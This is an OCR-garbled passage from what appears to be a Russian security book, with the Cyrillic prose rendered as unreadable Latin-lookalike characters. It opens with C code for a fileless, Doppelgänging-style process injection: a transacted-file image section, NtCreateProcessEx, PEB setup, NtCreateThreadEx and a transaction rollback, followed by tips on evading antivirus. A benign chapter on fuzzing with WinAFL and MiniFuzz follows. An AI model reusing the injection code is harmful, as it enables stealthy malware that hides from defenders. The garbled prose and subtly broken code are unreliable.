return -1;

status = NtCreateSection (&hSection obj,
SECTION ALL ACCESS,
NULL,
0,
PAGE READONLY,
SEC_IMAGE,
hTrans file);

if (!NT SUCCESS (status))
return -1;

C 5TOro MOMeHTa B NnamsTH Bce roToBo: Oydep BblAEICH U 3aM0JIHEH HALIUM MEHJI0a/I0M.
Teneps aeno 3a majibiM — c031aTh npouecc, HacTpouTh PEB, BerYMCANTb TOUKy BXOaa
3anmycTUThC B HOBOM Tpene. CoznaBare npouece ¢yHkimeii CreateProcess Mbl He Mo-
JKeM: el HyxeH ImyThb J10 (haiiyia, a eciim yuecTb, 4To (aia, KOTOpblid Mbl CO31aJId BHYTPH
TpaH3aKUMK, — (EHKOBbIH, K TOMY K€ TpaH3aKUMs Jake He 3aBeplueHa (M HUKorjaa He
Oyner 3aBepiueHa, OyeT poss1odK), TO TaKOW MyTh Mbl MPEJIOCTABUTh HE B COCTOSIHHH.
Ho Bbixoa ects: ucnonbzoBarh (yHkuuto NTAPI NtCreateProcessEx. Eii He HyxeH
nyTh K (aiiny, BOT ee MpOTOTHIL:

NTSTATUS
NTAPI
NtCreateProcessEx (
_Out_ PHANDLE ProcessHandle,
_In_ ACCESS MASK DesiredAccess,
_In opt  POBJECT ATTRIBUTES ObjectAttributes,
_In_ HANDLE ParentProcess,
In ULONG Flags,

_In opt  HANDLE SectionHandle,
_In opt  HANDLE DebugPort,
_In opt  HANDLE ExceptionPort,
_dn ULONG JobMemberLevel

)i

[lepenaBaemblii B 9Ty dyHkuuto napamerp SectionHandle He uto nHoe, kak ceKuus, Ko-
Topyto Mbl cozaanu pyHkuueii NtCreateSection.

status = NtCreateProcessEx (&h_proc,
GENERIC ALL,
NULL,
GetCurrentProcess (),
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PS_INHERIT HANDLES,
hSection obj,

NULL,

NULL,

FALSE) ;

if (!NT_SUCCESS (status))
return -1;

Tyt Marusi 3akaHuMBaeTCss ¥ HauyWHaetcst pyTuHa. Ecam Tl korpa-HuOya» mmcan mpo-
Heaypy 3amycka npoueccoB u3 namsatd npu nomoud NtCreateProcessEx, to Oyner
aerko. Chavana 3anonium RTL_USER_PROCESS_PARAMETERS u 3anuumem 3T

JaHHbIE B HAlll NMPOLIECC:

UNICODE STRING victim path;
PRTL USER PROCESS PARAMETERS proc parameters = 0;

status = RtlCreateProcessParametersEx (&proc_parameters,

&victim path,

NULL,

NULL,

&victim path,

NULL,

NULL,

NULL,

NULL,

NULL,

RTL USER PROC PARAMS NORMALIZED) ;

if (!NT_SUCCESS (status))
return -1;

LPVOID r proc parameters;
r_proc_parameters = VirtualAllocEx(h_proc, proc_parameters,

(ULONGLONG) proc_parameters & Oxffff + proc parameters->EnvironmentSize
+ proc_parameters->Maximumlength,

MEM COMMIT | MEM RESERVE,
PAGE READWRITE) ;
if (!r proc_parameters)
return -1;

status = WriteProcessMemory(h_proc,
proc_parameters,
proc_parameters,
proc_parameters->EnvironmentSize + proc parameters->Maximumlength,
NULL) ;

if (!NT_SUCCESS (status))
return -1;
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Hanee Tak ke, npu nomoin WriteProcessMemory, HacTpausaem PEB:

PROCESS _BASIC INFORMATION pb info;
status = NtQueryInformationProcess (
h proc,
ProcessBasicInformation,
&pb_info,
sizeof (pb_info),
0):

if (!NT_SUCCESS (status))
return -1;

PEB *peb = pb info.PebBaseAddress;
status = WriteProcessMemory (h proc,
&peb->ProcessParameters,
&proc_parameters,
sizeof (LPVOID),
NULL) ;

if (!NT_SUCCESS (status))
return -1;

W nocnenHwii, 3aBepluaroiliMii IITPUX — 3aMyck Tpeaa npouecca. Jlisi 3Toro HyxHO
y3HaTh 0a30BbIi a/ipec 3arpy3Kud MOIYJIS W Hadajo KoJa B BBIAEIEHHOM Hamu Oydepe.
Kopa crannapTHbIi, yIpOLLEHHBIH:

PIMAGE DOS HEADER dos header = (PIMAGE DOS HEADER)buf;
PIMAGE NT HEADERS nt header = (PIMAGE NT HEADERS) (buf + dos_header->e lfanew);
ULONGLONG ep proc = nt header->OptionalHeader.AddressOfEntryPoint;

GetSystemInfo (&sys_info);

LPVOID base addr = 0;
while (p memory < sys_info.lpMaximumApplicationAddress) ({
VirtualQueryEx (h proc,
p_memory,
&mem basic_info,
sizeof (MEMORY BASIC INFORMATION));
GetMappedFileName (h proc,
mem basic_info.BaseAddress,
mod name,
MAX_PATH) ;

if (strstr(mod name, argv([1l]))
base addr = mem basic_info.BaseAddress;
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p_memory = (LPVOID) ( (ULONGLONG)mem basic_info.BaseAddress +
(ULONGLONG)mem basic_info.RegionSize);

ep_proc += (ULONGLONG)base addr;

U 3amyckaeM cam MoTok:

HANDLE hThread;
status = NtCreateThreadEx (&hThread,
GENERIC ALL,
NULL,
h_proc,
(LPTHREAD START ROUTINE)ep proc,
NULL,
FALSE,
0,
0 ’
O ’
NULL) ;

if (!NT_SUCCESS (status))
return -1;

Bor u Bce. C 3TOr0 MOMeHTa Halll KOJ HayMHaeT paboTaTh MO MPUKPHITUEM APYroOro
npouecca. He 3a6biBaeM caenares pojui63k TpaH3aKLIUK:

if (!RollbackTransaction(hTrans)) return -1;

3aknoyeHue

Kak BHIHIIE, HUYETO CJIOKHOIO B 3TOM HOBOH aTake HeT. U3 G0OHycOB — artaka nojy4a-
etcs GecaiiioBoii, BeCh KOJ CYIIECTBYET TOJBKO B MaMSATH, IOTOMY YTO MbI HE 3aBEp-
maeM Tpan3akuuio NTFS, a oTkaTeiBaeM BCe H3MEHEHHUS.

[Tono6HeIM MeTON BHEOPEHHS HECJIO0XKHO OOHApYXKHTh: HY)KHO MPOCTO CPaBHHMTh KOJ
B MaMATH W Ha xecTkoMm aucke. Kpome rtoro, Hekotopeie NTAPI, ucnosbzoBaHHbIE
BBIIIE, MMEIOT BBICOKHH PEWUTHHI Yy 3BPUCTUKOB AHTHUBUPYCOB (Hampumep, Ta ke
NtCreateThreadEx). [Tofo3peHus y aHTUBHPYCOB MOXET BbI3BaTh M CaM (aKT UCIOJb-
30BaHuA peakux GyHkuuii WinAPI, koropsie orBeyaroT 3a Tpansakuuu NTFS, ocobenHo
B CBETE TOro, 4to B Microsoft He pekoMeHIYIOT UX Mcnoab30BaTh. KoHeuHo, 310 HE 03-
Ha4yaeT, 4TO 3BPUCTHKA 00A3aTe/NIbHO cpaboTaeT, HO TOYHO 3aCTaBUT NPUCMOTPETHCH K
TBOEMY (paiiily C CHIIBHOM NPENB3STOCTHIO.

3ameuy, 4TO MPUBEJCHHBIH MHOW KO — 3TO KOHLENT, KOTOPBIH €lle yTy4liaTh U yJIy4d-
matb. Hampumep, MOXKHO HMCMOJIB30BAaTh MAMIHUHT Ui BbiaesneHUs OydepoB, MOXKHO
3aiIudpoBaTh AUHAMHUYECKOE MOMy4eHHe QYHKLHUHA U T. 1.
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NOUCK YA3BUMOCTEU B NMporpamMmmax

Nik Zerof

®da33uHr BCe vallle NPUMEHSIOT U MPOrPaMMUCTbI — U1l IPOBEPKHU CBOMX MPUIIOKEHHUH
Ha MPOYHOCTh, U HCClie/IoBaTe Oe30MacHoCTH, U Xakepbl. Ho nonws3oBartbes dazzepamu
HE BBIIIET, €CJ/IM HE MOHUMAaEllb, YTO UMEHHO OHH JIeJal0T. 3aTO, Y3HAB 3TO, Thl OCBOMILb
COBPEMEHHYIO TEXHHKY, C MOMOLLBI KOTOPO# ceifuac HaXOJAT BCE HOBbIE U HOBbIE Ysi3-
BUMOCTH B CaMbIX Pa3HbIX MpUIOKeHUsX. B aTom pasnene s pacckaxy, kak paboratoT
pasHble BHIbl (ha33uHra, u Ha npumepe WinAFL nokaxy, Kak nosib30BaTbCs TUM UHCT-
PYMEHTOM.

B 06uiux yeprax cmbica (az3uHra 3aKkjirovaercs B nepejaye B porpaMmy (s UMero B BU-
1y 71000l HUCTOMHAEMBII KO, TMHaMHUecKyto OMONIMOTEKY WiIM ApaiiBep) 0boro He-
CTaHJapTHOro MOTOKA JaHHbIX, YTOOBI MOMBITATECS BbI3BATh MPOOJIEMbI B XOJI€ UCTIOJTHE-
Hus. Tak 4To K€ Mbl HIIEM MpU NMOMOLIM (haz3uHra? DTO 10CTATOUHO LUUPOKHI CIIEKTP
ouMbOK MPOrpaMMHOro obecrnedeHus, KOTOpbli BKJIOYaeT B ce0sl Takue BeLIM, Kak re-
penonHenne OydepoB, HekoppekTHas 00paboTKa MOJb30BaTEIbCKUX AAHHBIX, Pa3HOO0-
pa3Hble YTEUKH pecypcoB (B TOM uMcie Mpu paboTe ¢ MamsaTbiO), pas/iMuHble OMIHOKH
CHHXPOHM3ALIMM, MPUBOAILNE K COCTOSHUIO MOHKM, U npoyee. Kaxaoe Takoe coObiThe
¢dukcupyercs ¢pa3zzepoM 1 Gosiee NOoAPOOHO HCCIeNyeTCs B JaIbHEHILIEM.

TexXHUukKu

CylIecTBYIOT JIB€ OCHOBHbIE TEXHHKHM (ha33uHra — 3TO MYTALMOHHOE M MOpOoXaaroLiee
TecTpoBaHus. [lpy MyTaUMOHHOM TECTUPOBAHWUHM TEHEpaLMs I10CIe10BaATEIbHOCTEH
MPOUCXOJIUT HAa OCHOBE 3apaHee OMNMpeJe/eHHbIX JaHHbIX M adsoHoB. UMeHHO oHM co-
CTaBISAIOT CTApTOBBIM Koprnyc da3zzepa. M3menss O6alT 3a GaiiTomM 3Ha4YeHUs HA BXOJE U
nposepsist paboTy nMporpammbl, (a3sep MOXKET JelaTh BbIBOAbI 00 YCNELIHOCTH TeX WIIH
UHBIX «MYTallMii», 4TOObI B CIIEYIOIIEM payHje creHepupoBaTh Oosiee d(dekTuBHbIC
NOC/I€0BATENbHOCTH.

Kak BU/IHULIb, CaMa KOHUEMNIMUA AOCTATOYHO MpocTas. Ho 3a cueT TOro, 4to KOMMYECTBO
mepaunﬁ JOCTHIra€t COTECH U ThbICAY MHUJIJIMOHOB (BpeMﬂ TECTUPOBAHUA TIPA 3TOM CO-
CTaBJIAE€T HECKOJIBKO CYTOK AaX€ Ha MOILUHBbIX Ma]_I.II/IHaX). Ct)a'&?@pbl HaxXoasaT B nporpam-
Max caMbl€ HETPHUBHUAJIbHBLIC OLIUOKH.
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B cBoto ouepenn, mopoxkaarouiee TecTHpOBaHHE — 3TO OoJiee MPOABUHYTas TEXHHUKA
¢a33uHra, KoTopas mpearnoyiaraeT MOCTPOEHHE 'PAMMATHK BXOJHBIX JaHHBIX, OCHOBaH-
Hoe Ha crequpuKaLUIX. IT0 MOTYT ObITh Kak (haiisibl pa3iu4HbIX (GOPMATOB, TaK U ceTe-
Bbl€ MAKEThl B MPOTOKOJIaX oOMeHa. B 3TOM ciydae Halllu pe3ysbTaThl JODKHBI COOTBET-
CTBOBATh 3apaHee ONpele/ieHHbIM MpaBuiaM. [Topojkaaroiiee TeCTHPOBAHUE CIIOXKHEe
MYTAILMOHHOTO B peasin3alliu, HO U BEPOSATHOCTH ycIiexa TYT BhILIE.

KoneuHo, cymecTBytoT 1 Gosee npoaBUHyThle TeXHUKH. Hanpumep, da33uHr ¢ Ucnosb-
30BAHMEM TPAaCCUPOBKU U MOCTpOeHUEM ypaBHeHHH 1u1s SMT-pewareneii. B teopuu 3to
TIOMOraeT MOKPbIBaTh JaXke TPYAHOIOCTYIHbIE BeTKH koja. [Ipu aToM BkitovaeTcs Tpac-
ca BHyTpH aapa OC ¢ 0JHOBpEMEHHBIM MCKIIFOYEHHEM W3BECTHBIX YYACTKOB (HET HUKa-
KOro cmbicia ¢as3ute BHyTpeHHOCTH GyHKUMi WinAPI u npoyero). OnHako 3acTaBUTh
BC€ NPaBHJIbHO PaboTaTh HEMPOCTO, M CErOJHS 3TO CKOpEe «UepHas Marus», 4eM pacrpo-
CTpaHeHHas NPaKTHKa.

BmecTe ¢ TeM ecTb M COBCEM MPOCTOE TECTUPOBAHHWE C OTIPABKOM Ha BXOJA abCOIIOTHO
CITy4alHbIX 3HAUYEHUH, HO 51 HE PaCCMaTPUBAIO €ro W3-3a OYeHb HU3KOW 3 PEKTUBHOCTH.
ITo cBoemy moaxoxy oHO Oosbllie TOXOXKE Ha nepedop «rpyOoi CHIION», T. K. HCTOPUS U
YCTIELIHOCTD MPEbIAYLIHUX MONBITOK TYT HUKAK HE YYUTBIBAKOTCS.

OpHUM 13 nepBbIX NPOTOTMNOB ha33epoB cumTaeTcs nporpamma The Monkey, co3gaHHas
B ganekom 1983 rogy. B HasBaHuWM o4yeBUAHA OTCbINKa k Teopeme 0 HeckoHeuHbIx 06e3bs-
Hax, KOTopble MbITAlOTCA HaneyataTb «BowHy U Mup». HecmoTps Ha CBOK NpPaKTUYECKYo
GecnonesHocTb, Teopema MonynsipHa B MacCOBOWN KynbType (Hampumep, yNnoMWHaeTcs B
pomaHe «ABTOCTOMOM MO ranakTvke» u cepuane «CUMMNCOHBI») U Aaxe nonyyuna cobceT-
BeHHbI RFC 2795.

Tunbl dassepos

C rexHukamu (azzunra Gonee-meHee pazoOpanuch, Tenepb nepeaem kK Tunam $assepos.

®dopmartbl hannos

Bynem cuurtaTh BXOAHBIMU JIAHHBIMH TOJIB30BaTeNs JK000# (aiin mobdoro ¢opmara, kKo-
TOpBIA Hallle TeCTUpyeMoe NMPUIIOKEHHE BO3bMeTcs 00paboTaTb. DTO 3HAUMUT, YTO MBI
MOXEM MOACYHYTb (haiJl «HenmpaBWJILHOrO» (opmara M IMOCMOTPETh, KakK CIPaBUTCS
C HMM MOJOMNbITHAs nporpamma. [lepBoe, 4TO NMPUXOAUT B rOJNIOBY, — AHTHBUPYC. AHTH-
BUPYCHBIN CKaHep NO/DKeH ompenensaTh dopmar (aiina, Kak-TO ¢ HIM B3aWMOJEHUCTBO-
BATh: MbITAThCS PACNaKOBATh, BKIIOUMThH IBPUCTUYECKUN aHAIIU3 U T. [I.

Yem obepHeTcst mpocTas NpoBepKa, €CJid aHTUBUPYCHBIH CKaHEp PELUUT, YTO Mepea HUM
daiin PE, ynakoBanubiii UPX, a npu pacnakoBke BbisicHHTCS, 4TO 3T0 BoBce He UPX, a
YTO-TO, YTO JIMUIb MpPUTBOpsieTcs UM? EcTecTBEeHHO, alrOpUTM pacrnakoBKU Oyzer apy-
rOM, HO MOBEJEHUE CKaHepa NMPH TOM MpeayraiaTh ci0kHO. MoxeT ObITb, OH OOpYIIUT-
csi. Moxket ObITh, IpOCcTO MOBeCcHT Ha (aiin duar «moBpexaeH» W mpomyctur. U ato
JIaJIEKO He TMOJIHBIH MepevyeHb BO3MOXKHBIX Mcxoa0B. Da3zepsl GopmartoB ¢aiioB momo-
ryT MPOTECTHPOBATH MOJOOHBIE BELIH.
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AprymeHTbl KOMaHOHOW CTPOKU
U NepeMeHHblIe OKpPYXXeHuUs

3ayacTyio yTUIUTaM TpeOyIOTCsl mapaMeTpbl KOMaHAHON CTPOKU: 3TO MOXKET OBbIThb ITyThb
daiina, apryMeHT BBIMOJIHEHHS, Ja MHOTO uYero eule. Ho uTo, eciiu nepenars Ha BXOI He-
YTO, Yero rnporpamma cosceM He xzetT? CaMblii MPOCTOI BapuUaHT: ecay Mporpamma mnpo-
CHT yKa3aTh KakKOW-TO IMyTh, TO BPSI JIM OHAa BCEpPbE3 PAacCCUMTBIBAET, YTO MyTh OyaeT
COCTOSATH M3 THICAYH CHMBOJIOB. BrionHe BO3MOKHO, YTO Mnepeaaya Takoro aprymeHra
«HETIOATOTOBJIEHHOMY» MPHJI0KEHHIO TIEPETIONHUT CTEK U BbI3OBET 00pYyILESHHE.

CkasaHHOE BBIIIIE B PAaBHOM CTENEHH OTHOCUTCS M K MepeMeHHbIM okpysxenus. Ilo cytu,
9TO TMOYTH TO K€ caMoe, YTO U (a33epbl KOMaH/IAHON CTPOKH, TOJIBKO Ha BXOn OepyTes
napaMeTpbl He U3 apryMEHTOB, a U3 OJHOH WM HECKOJIBKHUX TEPEMEHHBIX CpPeJlbl OKpY-
JKEHHS. A Jalblle CleHapHii MPUOTM3UTENIEHO TaKOH K€, Kak U B Cilyyae MepernoiHeHUs
0OJBIIMM apTYMEHTOM KOMaH/IHOW CTPOKH.

3anpocbl IOCTL

JIocTaToyHO MoJie3Hasi MITYKa, KOrJa HY’KHO TMOCMOTPETb, KaK pearupyroT Ha 3anpochl
IOCTL paznuunbie apaiiBepsl pexkuma sapa. [lomumo yctpoiicTs u nepudepun, npaiise-
paMH 3a4acTyrO MOJIb3YIOTCS HEKOTOpbIE IIPOrpaMMbl Ul B3aUMOAEHCTBUS C CUCTEMOM.
KoneuHo, ctpykTypa [IRP-3ampoca rnoutu Bceraa HEM3BECTHA, HO IEPEXBAYEHHbBIE AKEThI
MOYKHO UCTOJb30BaTh B KAYECTBE OCHOBBI IS KOPITyCa.

CeTeBble NPOTOKObI

Takue ¢az3epbl OBIBAIOT 3aTOUEHBI MO/ U3BECTHbIE MPOTOKOJIbI, HO €CTh U BCESI/IHbIC K-
semruisapbl. Hanpumep, ¢azzep OWASP JBroFuzz (https://www.owasp.org/index.php/
JBroFuzz) tecTupyeT peanuzalny MU3BECTHBIX NPOTOKOJIOB HA MPEAMET HAJIMYHS TaKUX
ySI3BUMOCTEH, KaK MEKCaWTOBbIM CKpUMTHHI, repenonHenue Oydepor, SQL-uHBbEKINH
u MHoroe apyroe. C napyrod croponsl, ectb ytunura SPIKE (http:/www.
immunitysec.com/downloads/SPIKE2.9.tgz), kotopas MOXeT NMpPOTECTUPOBATH HE3Ha-
KOMbI€ MPOTOKOJIbI HA MHOTHE YSI3BUMOCTH.

Bpay3epHble ABWXKH

Ha, naxe s noucka aeip B Opaysepax ecThb creuuaibHble (aszsepbl. Ha ceroausumnuii
JEHb COBpEMEeHHbIE Opay3epbl OueHb CIOXKHBI U COAEPIKAT MHOKECTBO JBHUIKKOB: OHU
00pabaThIBalOT pa3InyHbIe BEPCHUM JOKYMEHTOB, npotokosios, CSS, COM, DOM u mHo-
roe apyroe. Tak 4TO y4aCTHUKHM pa3inuHbx bug bounty HULyT AbIpHI HE TOIBKO FOJIBIMH
pYKaMmH.

Ol'lepaTVIBHaﬂ namAaTb

B 3Ty KaTeropuro BXOAAT AOCTATOYHO Y3KOCIICLIUAIIU3UPOBAHHBIC ¢)a33epbl, HCTIOJIb3YC-
MBIC 11 MO)lI/Id)I/IKaLII/IH JIaHHBIX porpamMm B OHCpaTHBHOﬁ namsiTU. bbIBalOT MOJIE3HBIMHU
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IPH TECTUPOBAHMUHU KAKUX-THOO IUHAMHYECKUX AHTHAAMIIOB U YTHWJIUT CO BCTPOEHHOM
3alUTOM.

NMpobnema nokpbiTUs

Pasymeercs, 1 y ¢az3epoB cylecTBYIOT NpoOieMbl: 1€JI0 B TOM, YTO M3-3a CJI0XKHOCTH
HEKOTOpBIX MporpamM ¢as33epaM ObIBaeT TPYyOHO «IOTSHYTHCS» O OMPEOeNIeHHBIX dac-
Tell kozja. DTO CBA3aHO C ITyOMHOM BJIOXKEHHSA WJIM KaKMMH-THOO IPYrUMH crieiuduy-
HBIMH YCJIOBUSMH HCNONHEeHUs. PaspaboTunku ¢az3epoB meitaroTes 60poThes ¢ HEJOCTa-
TOYHBIM MOKPBITHEM KOZIa Pa3/IMYHBIMH Iy TSAMH.

Tyt Ha nomoIe npuxoaUT 06paTHas CBA3b, Koraa ¢assep nonyvyaer HHGOPMALHMIO O TOo-
BEJICHUM MporpamMMel Onarogaps CHUTHAJH3MPYIOLUMM MHCTPYKLUHMSM B HCIOJHSIEMOM
daiine. 310 Ha3pIBaE€TCA MHCTPYMEHTALMEH M MO3BOJAET (az3epy KOPPEKTHPOBATh BXOJ
Ha ClIelyIOLIEM payHJe, YTOObI MOMBITaThCS YIyYIIHTh MOKPBITHE.

Ho u 31eck Hac mozcTeperaoT pa3jidyHble NPOOIeMbl: HapuUMep, Korjaa codT J0CTyneH
TO/BKO B CKOMITHIMPOBAaHHOM BHJIE U HET UCXOJHBIX TEKCTOB, JIMOO M3-3a AMHAMUYECKOH
HWHCTPYMEHTALUH TECTUPYEMOrO NMPUIOKEHHUS CHIIBHO MPOCENAET MPOU3BOAUTEILHOCTD,
nmbo 06paboTka Tpacchl 3aHUMAaeT JOCTAaTOYHO MHOTO MPOLIECCOPHOTO BPEMEHH.

Kpome Bcero 3Toro, cyiiecTByeT npocras npotieMa COBMECTUMOCTH C Pa3IMuHbIMU BEp-
CHSIMH OTIEPALIMOHHBIX cHUCTeM, Kak Windows, Tak 1 *nix. Uem croxHee ¢a3sep u ueM
NPUCTANbHEH OH CMOTPHUT Ha MOTOK BBIMOJIHEHHS IPHIOXKEHHUS, TEM Kpenye OH TMPUBS3bI-
BaeTcs k ocobeHHocTsM OC.

Kak Bunums, ¢a3zzepoB oueHb MHOTO, M MO KOKAYIO 3aady MOXKHO HaWTH CreLUaIbHO
pa3paboTaHHBIf HHCTPYMEHT IMOMCKa YA3BUMOCTei. MHorue ¢aszsepbl HamMcCaHbl MOL
*nix-nono6Heie OC, HO ecThb U Takue, KoTopslie pabotator ¢ Windows. JlaBai noGnvke
paccMOTpPHUM MapouKy pa3sHOTHIHbIX (a3zepoB: WinAFL u MiniFuzz.

WinAFL

WinAFL(https://github.com/googleprojectzero/winafl, puc. 12.1) — 310 dopk nomy-
nspHoro ¢azzepa AFL (American fuzzy lop, http://lcamtuf.coredump.cx/afl/), noptu-
poBanHbI# mog Windows kopropauueit Google. OH MCIONB3yeT HHCTPYMEHTALMIO TeC-
TOBBIX (haliJIOB KaK CTATHYECKYIO, KOTAa €CTh UCXO/HbIE KObI MPUIOKEHHs, TaK U IUHa-
MHMYECKYIO, KOrJla MHCTPYMEHTHPOBAHHE IMPOMCXOIMT «Ha JieTy». B 3ToM nomoraer
6ubnuoreka ans aHanuza GuHapHukoB DynamoRIO (https://github.com/DynamoRIO/
dynamorio).

Kak Tonbko 4TO-TO MOLLTO HE Tak B UCCIETYyeMOM IMPHIOKEHUH (HampuMep, OHO obpy-
WIKJIOCh), JaHHBIE, KOTOpbIE K 3TOMY IPHBEIH, KOMUPYIOTCA B OTAEJbHYIO Manky s
JajbHeMHero uccnenoBaHus. Y assepa ecTb MHOKECTBO OMNLMH 3arycka, JaBail pac-
CMOTpPHUM CaMbl€ BaXKHBIE:

O -i [xaramor] — KaTalor BXOAHBIX TECTOBBIX KeWcoB. [IpUMeuarenbHO, YTO BMeECTe
¢ ¢azzepom «u3 KOpOOKH» HAET HECKONBKO MPOCTBIX TECTOBBIX KEHCOB /Ul pa3jiny-
HBIX TUNOB (aitsios.
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O -o [xarasor] — KaTajJor BBIXOAHBIX JaHHBIX, Kyaa OyayT MoMelaTses pe3yibTaThl
paboThl dazszepa.

O -D [xaramor] — OMLMS, KOTOpasi FOBOPUT (a33epy HCMOIb30BATH TUHAMHYECKYIO
UHCTpyMeHTauuio Ha 6aze DynamoRIO. [[na 5Toro mMbl 4OJKHBL TOMOJIHUTENIBHO YKa-
3aTh KaTaJIor, I'/1€ YCTAHOBJIEH 3TOT HHCTPYMEHT.

O -y — onuus AJ1s CTaTUYECKOM WHCTPYMEHTALIUH.

first run

Puc. 12.1. ®azzep WinAFL

Ecnu ¢ nuHamMuyeckol MHCTpYMEHTALMel BCe MOHATHO, TO CO CTATUYECKOW MOTYT BO3-
HUKHYTh MpoOJIeMbl: HampuMmep, nporpamMa instrument.exe, KOTopas Npu3BaHa HHCT-
pymeHTHpoBath ¢aitnel B Windows, Moka ellle He NMOHUMAaeT nocje/Hue Bepcuu Visual
Studio SDK u He paGoTtaet ¢ nporpammamu, coopanssivu B Visual Studio 2019.

Korz[a BC€ TI'OTOBO H (Zt)aﬁ.ﬂ HHCTPYMEHTHUPOBAH, OOCTATOYHO BBIMMOJIHUTE KOMaHIY
afl-fuzz.exe -Y -i input -o output -- test.exe. DTa KOMaHHAa 3aImyCTUT MNpPOLEeCC
MOMCKA YSI3BUMOCTEHN /Il TECTOBOW MPOrpamMMbl CO CTATUYECKON MHCTPYMEHTaLMEH.
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MiniFuzz

Tenepr naBaii paccmotpum euie oauH (asszep noa HasBanuem MiniFuzz (https:/
msdn.microsoft.com/en-us/gg675011). On paspaboran B komnanuu Microsoft u gocra-
TOYHO ApYKeato0eH MO OTHOLIEHHUIO K MOJIb30BaTeMo (1a, TyT Jake ecTb rpaduueckuid
uHTepdeiic, puc. 12.2). Takxke noctynHa unrerpaius ¢ Visual Studio.

% Minifuzz - ;<

Target

Process to fuzz Browse

Command ine args
2 i
Alow processtorunfor. <Y > secs

Shutdown method Thread Injection v Shudowndely: 05 3 e AN\

Settings

SR 3 T —

Temporary fies C\Users\.  \Desktop'minfuzz\temp\.

Logfies: C:\Users' \Deskiop \minfuzz\logs\

Crash files: Ci\Users\ \Desktop\minfuzz\crashes’

Agoressiveness. ' Low {5%) B4 Aways on Top
Son Foat ViewLogDr = TFS Settings... Hep  Aoout
Progress

# Fuzzedfies: 0 # Faiures: 0

TmAi Fie T Cash 7 o -

Puc. 12.2. ®aszep MiniFuzz

Pa3zpaborunku pekomenaytot aenats He menee 100 000 ¢aiino Ha kaxablid QainoBbii
¢dopmart. [1pu 3TOM Kaxk/ablii MoaHHBIH HA BXOJ (aiil — 3TO OTae/bHas uTepauus ¢as-
3unra. CnenoarenbHO, TpeOyercs Habop sTanoHHbIX (aitios. Hanpumep, eciu Tol pe-
LUK IPOTECTUPOBATh MOBEJACHUE NMPUIOKEHHS B X0je 00paboTkH apXHBOB *.zip, B narn-
Ky mwabaoHoB Tebe HeoOX0AMMO Oy/eT CAOKHTH OKOJIO CTa Takux (haiioB-00pa3LoB.
MoxkHO nonoxuTs U Oosnblue, ¢aszzep Oyaer Tosbko paal A BOT €C/iM NON0KUTh MEHbILE,
TO 3¢ (EeKTUBHOCTB MpoLIecca 3aMETHO yrajerT.

Jlanee dazzep cayuaitHbiM 00pazom BbeIOHMpaeT (aiisl U3 3TAIOHHOro Habopa U U3MEHSEeT
€ro, 1nocklias B MOAOMBITHOE Nnpuioxkenue. Ecau npu 3Tom Bo3HuKaeT oOpyuieHue, daiin
3aMUChIBAETCs B Nanky crashes, rae ero norom MoxHo OyeT NoApoOHO U3yUUTb U BbIsC-
HUTb, 4YTO MMEHHO BbI3Baj0 cOoit. Bece HacTpoiiku as3sepa XxpaHsrcs B aiine
minifuzz.cfg 8 popmare XML. HemHoro npobexumcs no cambIM HHTEPECHBIM OMLMSIM
(oueBHAHBIE 1 OMYCTHI 1151 KPATKOCTH).
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O Command line args — B 3TOM Moje MOXKHO NOOaBHTh HENOCTAIOLIME MapaMeTphl
KOMaHIHOM CTPOKH, €CITH 3TH JaHHbIE HYXXHBI BO BpeMs (a33uHra.

O Allow process to run for — onpeznenser BpeMs paboThl 3K3EMILIIpa TECTUPYEMOTO
npunoxenus. He crneayer ycraHaBnMBaTh MaJleHbKOE 3Ha4YeHHe, Belb Toraa ¢assep
MOXET He yCIeTb OTpaboTaTh.

O Shutdown method — meron 3aBeplI€HHMs 3alyIIEHHOrO 3K3EMIUIIpa TECTOBOTO
npunoxenus. [lomnepxuBatorcs meronsl ExitProcess (3aBepimaer npouecc Kop-
pektHo), WM_CLOSE (koppeKTHOE 3aBepLICHHME MJisi OKOHHBIX IPHIOKEHHH)
1 TerminateProcess (3aBepiuaeT npouecc aBapHitHoO).

0 Aggressiveness — mapaMeTrp ONpeAeNseT, HACKOJIBKO CHIBHO OyAyT HCKaxkaThcs 00-
pasipl (aitiioB mepen TeM, Kak MonaayT B NpuiokeHue. Eciu Tol 6e3ycnenmto xaes
pe3ysibTaTa BOT YK€ J0JIroe BpeMs, CTOUT MOAyMaTh HaJl YBEIMUEHHUEM 3TOrO 3Haye-
HHSL.

MNMpakTuka

J1nst Toro 4TOoOBI MOHATE Ha Jefe, Kak UMEHHO MPOUCXOAMT MOMCK OIIMOOK MPU MOMOILUH
WinAFL, Mbl HanmuieM HeOONBIIYIO TECTOBYIO MpPOrpamMMy, BHYTPHU KOTOpOM Oymer
GyHKIMS ¢ JOCTYNOM MO HyjleBoMy ykasartemo. Coryiacuch, AOCTaTOYHO pacnpocTpa-
HEHHBIM NpuUMep OMMOKH, OT KOTOPOH HE 3aCTpaxOoBaH HUKTO B 3ToM Mupe. Kox, koto-
PhIii 1OJDKEH ynacThb (W He 0TXKaThes ), OyIeT BBIMIAAETh PUMEPHO TaK:

int crash() {
int *x = NULL;
int y = *x;

printf ("%s", vy);

return 0;

}

Kak MMeHHO ee BbI3BIBATH — TYT y)K€ Ha YCMOTpeHHe nporpammucra. S 6yay nepena-
BaTh B KaueCTBE apryMeHTa KOMaHIHOH CTPOKH «BOJIIEOHBI) MapaMeTp, KOTOpBIiH BbI-
3bIBaeT (YHKUMIO MO YCIOBHIO if (argc == 2 && !stramp(argv[l], "key")). Kpome
TOrO, U1l yCKOPEeHHUS (ha33uHra MOXKHO «0OEpHYTh)» TECTHPYEMYIO QYHKIHIO B LIUKJI:

while (_afl persistent loop()) {

}

Vnpapnsiouas GpyHKUMS LUMKiIa Haxonurcs B ¢aine winafl-master\afl-staticinstr.h, ko-
TOpBIA HEOOX0mUMO OyNeT MOAKIIOUUTE K NpoekTy. Kpome Toro, 3to no6aBUT B mpoekT
JMarHOCTHYECKUE COOOILEHHS.

Kak BuznHO Ha puc. 12.3, ¢aiin emme He rotos k ¢azzunry u WinAFL 3a6otnuso HanoMu-
HaeT HaM, 4YTO MBI 3a0bUIM €ro MHCTPYMEHTHpOBaTh. JlaBall UCMIPaBUM 3TO CIEMYHOLIEH
KOMaHI0M:

$ instrument.exe --mode=afl --input-image=tst.exe --output-image=instr crash.exe



Puc. 12.3. MogroToBka chaiina Kk fanbHenwen NHCTpyMeHTauum

Kpome Toro, B cBOHCTBaX KOMIMOHOBHIMKA HEOOXOAMMO [100aBUTH JBa Iapamerpa:
/PROFILE — Bxmount nogaepxky npodunupoBanus U /SAFESEH — Ge3onacHas
